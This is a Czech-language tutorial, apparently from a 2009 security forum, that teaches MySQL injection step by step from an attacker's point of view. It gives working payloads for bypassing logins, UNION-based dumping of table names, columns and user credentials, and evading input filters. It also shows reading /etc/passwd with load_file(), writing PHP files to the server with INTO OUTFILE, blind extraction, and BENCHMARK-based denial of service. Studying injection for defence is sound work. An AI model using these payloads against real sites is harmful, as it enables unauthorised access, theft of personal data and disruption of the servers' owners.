SQL Injection (Full Paper)

Vložil/a RubberDuck [1], 5 Listopad, 2009 - 01:25

- Hacking [2]
- Hacking method [3]
- Security [4]
- SQL [5]

Cílem článku je vytvořit co možná nejkomplexnější materiál na téma MySQL Injection s vyhlídkou na pozdější rozšíření o další typy databázových jazyků.

==========
SQL Injection

==========

1. Úvod

SQL Injection je bezpečnostní chyba založená na možnosti manipulovat s daty v databázi bez nutnosti mít k nim legitimní přístup. Na první pohled by se mohlo zdát, že tato chyba je problémem webových technologií. Opak je pravdou. SQL Injection je problémem všech aplikací pracujících s databází. Zneužití může vést k získaní citlivých údajů, jakými jsou přihlašovací údaje, osobní údaje (rodná čísla, čísla bankovních účtu..) a v některých případech může vést k vykonání systémového příkazu, případně k ovládnutí celého serveru/počítače. Principem je vkládání nových/rozšiřujících SQL dotazů do již existujících SQL dotazů.

2. Historie a letmý popis SQL

SQL je zkratka pro Structured Query Language, tedy strukturovaný dotazovací jazyk využívaný v relačních databázích pro práci s daty. První myšlenka návrhu a vzniku SQL spatřila světlo světa v

laboratořích firmy IBM při výzkumu a návrhu relačních databází. Cílem bylo vytvořit jazyk co nejvíce blízký běžné mluvené angličtině, což se nakonec víceméně podařilo. V dnešní době existuje celá řada databázových mutací jazyka SQL - MySQL, MSSQL, Postgre, Oracle, SQLite, MSQL atd.

3. Potřebné vybavení

Protože se chystáme pracovat s databázovým systémem, bylo by nanejvýš vhodné nainstalovat si ho k sobě na počítač, případně využít služeb některého z freehostingů. Pokud zvolíte druhou možnost, na konec připojuji testovací skript připravený pouze a jen pro použití.
Server s podporou PHP, protože většina věcí bude prezentována právě na kombinaci PHP - MySQL. Tyto požadavky plně pokrývá například EasyPHP, jakožto ideální "server" pro začátečníky.

4. Než začneme

Pokud jste v některém jiném článku viděli věci jako například update záznamů v tabulce, případně smazání/dropnutí celé databáze, pak Vás musím zklamat. MySQL neumožňuje (z bezpečnostních důvodů) kombinovat rozdílné typy dotazů: pokud primární dotaz obsahuje SELECT, pak můžete použít zase jen SELECT (žádný DROP, UPDATE, INSERT atd). Druhou bezpečnostní pojistku v rukách třímá samotné PHP (pokud budeme mluvit jen a zásadně o něm). To neumožňuje zpracovat najednou více než jeden jediný dotaz. Takže:

```
SELECT * FROM tabulka; SELECT * FROM admin;
```

opravdu fungovat nebude (v případě ASP je situace jiná).

5. Situace první - přihlašovací formulář

Dosti bylo teorie, nakoukněme pod pokličku. Všude, kam se na internetu podíváme, jsou nějaké přihlašovací formuláře. User Accounty, Admin Menu, nejrůznější formuláře k soutěžním účtům. Všechny tyto formuláře spojuje jedna věc (pokud nebudeme uvažovat extrémní případy použití hesla v PHP kódu nebo v nějakém externím souboru s koncovkou txt a jemu podobných) a tou je právě skutečnost, že využívají databází k archivaci nejrůznějších informací, včetně výše zmiňovaných přihlašovacích údajů. Klasický MySQL dotaz v kombinaci s PHP ověřující, zda je daný uživatel přítomný v databázi, a tudíž legitimní, by mohl vypadat asi takhle:

```
SELECT * FROM users WHERE login='$nick' AND password='$passwd'
```

V tomto případě se jedná o vůbec nejhorší možné řešení, protože heslo není nijak šifrováno a data jsou uložena v čisté textové podobě (plain text) v databázi. Co se stane, když se pokusíme do kolonky pro nick vložit znak ' (apostrof)? Při vyhodnocování dotazu dojde k chybě. Ptáte se proč? Důvod je na pohled zřejmý. Dotaz bude totiž vypadat následovně:

```
SELECT * FROM users WHERE login=''' AND password=''
```

Tři apostrofy napovídají, že se někde stala chyba a jeden apostrof nám někde chybí (nebo spíše naopak přebývá). No nevadí. My nyní využijeme síly komentářů (v MySQL máme na výběr hned ze tří možných).
Dotaz bude vypadat následovně:

```
SELECT * FROM users WHERE login=''--' AND password=''
```

Dotaz bude vykonán správně ale my přihlášeni nebudeme. Proč? Tím, že vložíme do dotazu jednořádkový komentář bude zbytek dotazu vypuštěn a bude tedy vypadat následovně:

```
SELECT * FROM users WHERE login=''--
```

Tak to už vypadá lépe. Nyní chceme vybrat z tabulky jen data, která mají login stejný s tím naším. Jenže ten náš je prázdný řetězec. Takže si najdeme (nebo uhodneme) legitimní login a použijeme ho v dotazu:

```
SELECT * FROM users WHERE login='admin'--
```

Et voila! Jsme zalogováni pod administrátorským účtem :)

Co se ale stane, pokud nebudeme schopni dopídit se k nějakému korektnímu loginu? Co třeba vyzkoušet logické operátory AND (logické a) a OR (logické nebo)? Řekněme,že login admin neexistuje, ale my ho klidně úspěšně použijeme v kombinaci s logickým operátorem:

```
SELECT * FROM users WHERE login='admin' OR 1=1--
```

Důvod, proč se přihlášení zdaří je úzce spjat právě s logickým operátorem OR, který říká, že dvě hodnoty, jež jsou nulové mají výsledek logická nula, jinak je to vždy logická 1. Jinými slovy: admin' OR 1=1-- bude vždy vyhodnoceno jako logická 1 a tudíž budeme přihlášeni. Ba co víc: budeme přihlášeni na první účet v tabulce, který bývá většinou administrátorský nebo testovaci s admin právy :) Co dokáže pár znaků za divy :D Bypassů existuje celá řada:

```
OR 1=1--
" or 1=1--
" OR "a"="a
') or ('a'='a
' or 'a'='a
```

6. Situace druhá - SQL Injection s využitím UNIONu

Ono je sice hezké, že jsme zalogovaní jako administrátor, ale bylo by hezčí moci si stáhnout všechna zajímavá data v databázi/databázích. Alespoň tak jistě reaguje většina útočníků. Proto si nyní ukážeme, jak dále postupovat v případě, že chceme číst data z databáze. Mějme stránku, která zpracovává požadavky na články a má URL ve tvaru:

```
article.php?id=15
```

kde id=15 znamená, že požadujeme patnáctý článek v tabulce s články. Dotaz by pak mohl vypadat například takhle:

```
SELECT * FROM articles WHERE id='$id'
```

Pokud se i nadále budeme držet myšlenky použití logických operátorů, pak již víme, jak zjistit, zda je daná stránka na SQL Injection náchylná:

```
article.php?id=15 AND 15=15
```

Pokud se stránka zobrazí s nezměněným obsahem máme nakročeno k úspěchu. Pokud totiž použijeme:

```
article.php?id=15 AND 15=0
```

a obdržíme chybovou hlášku, případně bude obsah chybět úplně, je s nejvyšší pravděpodobností stránka na SQL Injection skutečně náchylná (využít můžeme i například služeb dělení nulou, které by mělo vést k chybě, nebo například sčítání a podobně; zde záleží na kreativitě útočníka).

Nyní, když máme jistotu, že je stránka náchylná na SQL Injection, využijeme klauzuli ORDER BY (udává podle jakého klíče/sloupce se mají záznamy seřadit) s jejíž pomocí zjistíme počet sloupců v aktuální tabulce (v našem případě v tabulce articles).

article.php?id=15 **ORDER BY** 1

Pokud nyní dostaneme jako výsledek stránku v nezměněném stavu, pak má daná tabulka určitě jeden sloupec (k čemu by nám byla tabulka bez sloupců že? ;)) Zkusíme, zda má tabulka určitě dva sloupce:

article.php?id=15 **ORDER BY** 2

a opět platí, co výše: stránka v nezměněném stavu znamená, že má tabulka určitě dva sloupce, v opačném případě má právě jeden sloupec. Naše tabulka bude mít třeba 8 sloupců, pak:

```
INDEX.php?id=15 ORDER BY 7    --> bez problému
INDEX.php?id=15 ORDER BY 8    --> bez problému
INDEX.php?id=15 ORDER BY 9    --> CHYBA!! sloupc? je o 1 mén?
```

Nyní, když známe počet sloupců, použijeme příkazu UNION, který slouží pro spojování více dotazu do jednoho celistvého.

INDEX.php?id=-15 **UNION ALL SELECT** 1,2,3,4,5,6,7,8

Pokud je vše tak, jak má, pak bysme měli vidět místo článku některé z čísel v rozsahu 1 až 8 (v našem případě). Najdeme si toto číslo v posloupnosti a budeme ho používat jako prostředek pro zobrazení výsledku dotazu. SQL poskytuje celou řadu užitečných funkcí. Některé z nich si ukážeme:
database() - vrací název aktuálně používané databáze
user() - vrací uživatele, který je vlastníkem databáze
version() - vrací verzi databáze
now() - vrací aktuální informace o čase
Prozatím si vystačíme s těmito funkcemi a průběžně si budeme představovat další. Nyní za výše zjištěné číslo doplníme některou z těchto funkcí a prohlédneme si výsledek. Například:

INDEX.php?id=-15 **UNION ALL SELECT** 1,2,3,version(),5,6,7,8

Někdy by se hodilo mít možnost zobrazit si více takových funkcí v jednom sloupečku v jednom dotazu. K tomu se dá využít funkce concat(), která právě spojuje více výsledků do jednoho:

INDEX.php?id=-15 **UNION ALL SELECT** 1,2,3,concat(version(),user(),**DATABASE**(),now()),5,6,7,8

Dostali jsme jako výsledek jednolitý řetězec, u kterého není patrné, kde jednotlivé části začínají a končí. Proto použijeme funkci char(), která přebírá jako argument ASCII hodnotu znaku, který chceme zobrazit:

id=-15 **UNION ALL SELECT** 1,2,3,concat(version(),char(58,58),user(),char(58,58),
DATABASE(),char(58,58),now()),5,6,7,8

char(58,58) bude přeloženo jako :: a jasně ohraničí, kde končí a kde začíná hranice mezi jednotlivými výsledky.

Lepší a pro mě přijatelnější je sestřička concat_ws(), která navíc bere jako první argument oddělovač:

INDEX.php?id=-15 **UNION ALL SELECT**
1,2,3,concat_ws(char(58,58),version(),user(),**DATABASE**(),now()),5,6,7,8

Klíčovým v případě funkce verion() je, zda se jedná o verzi nižší než 5 nebo rovnu a vyšší než 5. V případě, že se jedná o verzi nižší než pět budeme nuceni jednotlivé tabulky a sloupce v nich hádat nebo je získávat pomocí bruteforce techniky, což je zdlouhavé a v lozích nápadné.

7. Databáze information_schema

Ve verzi 5 a vyšší je defaultně obsažena a povolena databáze information_schema. Tato tabulka se tajně stává útočníkovým spojencem a pomocníkem nejcennějším. Obsahuje celou řadu zajímavých tabulek jako tables, columns, user_privileges nebo schemata. My se nyní podíváme, jak se dostat k názvům tabulek v napadené databázi.

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema.TABLES
```

Pokud se nám zobrazí stránka v nezměněné podobě, budeme moci s touto tabulkou operovat. Náš stávající dotaz rozšíříme na oblast databáze webové aplikace, která je náchylná:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema.TABLES
WHERE table_schema=DATABASE()
```

Nyní máme zajištěno, že budeme pracovat pouze a jen s "naší" databází. Vypíšeme si první název tabulky v databázi:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE() --> 1. tabulka v databázi
```

K druhému názvu tabulky se dostaneme tak, že si vypíšeme všechny tabulky kromě první, nebo-li:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE() AND table_name !=
'nazev_prvni_tabulky' --> 2. tabulka v databázi
```

Pro třetí tabulku je situace analogická:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE() AND table_name !=
'nazev_prvni_tabulky' AND table_name != 'nazev_druhe_tabulky' --> 2. tabulka v databázi
```

Ovšem tento způsob je poněkud neohrabaný a vede k příliš obrovským dotazům. Ty se stávají nepřehledné a náchylné na chyby a překlepy. A protože umíme používat hlavu, budeme řešit problém od lesa a použijeme klauzuli LIMIT :)

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 1,1 --> 1. tabulka v
databázi
```

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 1,2 --> 2. tabulka v
databázi
```

To už vypadá, myslím si, mnohem lépe :) Ale co si to ještě více zjednodušit? ;) MySQL obsahuje jednu pro tyto účely velice užitečnou funkci. A to group_concat(). Díky této funkci budeme mít seznam všech tabulek prakticky díky jedinému dotazu (POZOR! setkal jsem se s tím, že má funkce group_concat() omezenou délku výstupního řetězce a proto nemusíme dostat nutně celý seznam tabulek!)

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,group_concat(table_name),5,6,7,8 FROM
information_schema.TABLES WHERE table_schema=DATABASE()
```

Nyní si ze seznamu tabulek vybereme ty, které jsou pro nás nějak zajímavé. Dejme tomu, že jsme našli tabulku s názvem users, která pravděpodobně obsahuje seznam všech registrovaných uživatelů. Pro zjištění všech názvů sloupců opět můžeme použít identické postupy jako v případě seznamu tabulek (hádání/bruteforce, využití vylučovací techniky, klauzule LIMIT nebo funkce group_concat()). Jediné, co se změní je skutečnost, že se budeme dotazovat na information_schema

tabulku s názvem columns. Ta obsahuje column_name, jež uchovává názvy sloupců tabulky.

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,group_concat(column_name),5,6,7,8 FROM information_schema.COLUMNS WHERE table_name='users'
```

Puf!! A máme seznam všech sloupců. Z nich si nyní můžeme vybrat jen ty zajímavé - řekněme: nick, passwd, mail, priv a opět si je vypíšeme analogicky jako výše:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,group_concat(nick,char(58),passwd,char(58),mail,char(58),priv),5,6,7,8 FROM users
```

8. Když se vývojář snaží

Právě jsme se úspěšně dostali k uživatelským účtům :) Ale ne vždy je situace tak růžová jako tady. Stále větší počet webových aplikací využívá skripty/systémy IDS (Intrusion Detection Systems). Paradoxem je, že tyto jsou většinou navrženy dost odfláknutým způsobem. Spoléhají se na detekci apostrofů, mezer, konkrétních řetězců (UNION, SELECT).

8.1 Problém s apostrofy

Problém detekce apostrofů může být způsoben buď nastavením serveru (magic_quotes_gpc) nebo přítomností IDS. MySQL má tu krásnou vlastnost (jako asi všechny databáze), že obsahuje funkci char(), která bere jako argumenty decimální ASCII hodnoty znaků oddelených čárkami, takže apostrof není potřeba. Stejná situace je i v případě hexadecimálních ASCII hodnot znaků. Tyto jsou uvozeny pomocí znaků 0x a samotnými hodnotami, které jsou řazeny přímo (bez mezer) za sebe.

```
'user' == char(117,115,101,114) == 0x75736572
```

Navíc samotné MySQL obsahuje funkce, jež je možné k šifrování využít. Například:

```
unhex(hex(user))
```

8.2 Problém s mezerami

Detekce mezer je, z mého pohledu, účinná spíše jen na nO_oby a lamy. Zbytek totiž ví, že mezery je možné nahradit pomocí znaku +, který slouží pro spojování výrazů, případně pomocí víceřádkového komentáře. Opět zápeží především na zkušenostech a kreativitě útočníka:

```
UNION+SELECT+ALL+1,2,3,4,5,6
UNION/**/SELECT/**/ALL/**/1,2,3,4,5,6
```

8.3 Problém detekce řetězců

Velké množství IDS skriptů je postaveno na detekci řetězců jako jsou UNION nebo SELECT. Problémem ale je, že berou v potaz buď pouze malé znaky, nebo naopak jen velké, ty chytřejší pak malé i velké. Ale co řetězce složené z kombinací velkých a malých znaků?

```
uSeR
UsEr
UseR
USer
useR
```

9. Čteme soubory...

Další zajímavou tabulkou je mysql.user, ze které se útočník může dočíst, jaká má práva pro čtení nebo zápis souborů. Ve většině případů nebude mít útočník práva pro přístup do této tabulky, což ovšem neznamená, že by se sám nemohl pokusit soubory přečíst. K tomu slouží funkce load_file() a její použití je snadné:

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,load_file('/etc/passwd'),5,6,7,8  --> pokusí se načíst soubor /etc/passwd
```

V některých situacích je možné s pomocí fce load_file() načíst i obsah adresáře (pro rejpaly - neměl jsem možnost vlastnoručně vyzkoušet, ale byl jsem svědkem toho, že to skutečně funguje).

10. ...a zapisujeme

Když už si nejaký soubor přečteme, bylo by vhodné mít možnost i nějak soubory vytvářet. K tomu slouží klauzule INTO OUTFILE případně INTO DUMPFILE. Bohužel jsme omezeni právy na daný adresář, kam se pokoušíme zapisovat. Nejčastěji je proto zvykem hledat adresáře, kde jsou uloženy obrázky (img, images..), případně se používá /tmp adresář, který by měl být téměř vždy přístupný (používá se při kombinovaných technikách útoku).

```
INDEX.php?id=-15 UNION ALL SELECT 1,2,3,'<?php phpinfo();?>',5,6,7,8 INTO OUTFILE '/tmp/newfile.php'--
--> do souboru newfile.php se vloží daný PHP kód
```

Paradoxem je, že ač se můžeme ve všech předešlých případech vyhnout použití apostrofů díky konverzi nebo použití funkcí, zde to neplatí. Z neznámého (možná bezpečnostního? ;)) důvodu není možné absolutní adresu souboru konvertovat/využít funkcí.

11. Blind SQL Injection

Tento typ SQL Injection je spíš takový gurmánský :) Je možné ho provádět ručně, to je ale značně namáhavé. Jde totiž o skutečnost, že celý útok probíhá na úrovni detekce správnosti nebo naopak špatnosti dotazu. Protože nemá útočník visuální kontrolu nad tím, jak útok probíhá, zvyšuje se zákonitě počet požadavků na server. Pokud vezmeme v potaz, že kazdé SQL spojení může být "drženo" až po dobu jedné hodiny, je jednoduché dojít k závěru, že zabrat všechna možná spojení je velice jednoduchá záležitost. Existuje sice možnost minimalizovat počet požadavků vedoucích k cíli pomocí algoritmu půlení intervalů, ale i tak se jedná o vysoká čísla.

Samotný průběh útoku se tedy zaměřuje na jednotlivé znaky. Jednoduchá detekce verze MySQL by například mohla vypadat následovně:

```
1 AND 1=(ascii(substring((SELECT version()),1,1))=53)
```

Funkce ascii vrací číselnou hodnotu znaku, který je v řetězci nejvíc vlevo. Funkce substring vrací počet znaků od zadané pozice v zadaném řetězci.

Podobným postupem se pokračuje i v případě zjišťování názvů tabulek, sloupců, a nakonec i u záznamů v tabulkách. Celý postup lze samozřejmě vyladit za použití podmínek a dalších funkcí, tak že je potenciální útok mnohem hůře detekovatelný.

12. A co systémové příkazy?

MySQL defaultně nepodporuje spouštění systémových příkazů. Ovšem existuje balíček umožňující

systémové příkazy spouštět (http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html [6]), a proto je celkem možné, že dříve nebo později na podobné vychytávky začneme narážet i na serverech.

13. "Neprůstřelnost" mod_rewrite

Několikrát jsem se setkal s tvrzením, že pokud funguje webová aplikace pod mod_rewrite, pak nehrozí žádné nebezpečí ze strany případného SQL Injection útoku. Opak je ale pravdou. Mod_rewrite do jisté míry dělá situaci težší kvůli zjištění, co je parametrem a jak ho použit, ale tím to končí. Samotný průběh útoku se pak již nijak neliší od běžné SQL Injection.

14. Denial of Service

Jak jsem zmínil již výše, MySQL má tu vlastnost, že si drží požadavky na přístup do databáze až po dobu jedné hodiny. Toho lze samozřejmě celkem efektivně využít a jednoduchým skriptem, který zašle velké množství požadavků, server buď vytížit nebo vypotřebovat počet možných SQL připojení pro server. K tomu lze využít například funkci BENCHMARK(). Tato funkce vykonává daný výraz opakovaně po daný čas:

```
BENCHMARK(99999999,MD5(99999999))
```

15. Závěr

SQL Injection umožňuje nejrůznější a nejzajímavější věci. Namátkou můžu jmenovat například využití pro scanování portů, nebo kombinování s XSS (tzv. SIXSS), jenž v budoucnu jistě budou hojně využívat phisheři. Vše závisí jen a pouze na kreativitě útočníků. Rozhodně se jedná o velmi kritickou chybu, jež může mít globální dopad na bezpečnost celého serveru, a proto není záhodno tuto chybu podceňovat.

¨¨°o©o.,.o©o°¨¨°o©[END_OF_FILE]©o°¨¨°o©o.,.o©o°¨¨

THANKZ:
abc, cm3l1k1, Lodus, Vrtule, Mato,
Krpec, 4194, Emkei, infinity, RAP-TOR && all security - portal.cz members :)

URL článku: https://security-portal.cz/clanky/sql-injection-full-paper

Odkazy:
[1] https://security-portal.cz/users/rubberduck
[2] https://security-portal.cz/category/tagy/hacking
[3] https://security-portal.cz/category/tagy/hacking-method
[4] https://security-portal.cz/category/tagy/security
[5] https://security-portal.cz/category/tagy/sql
[6] http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html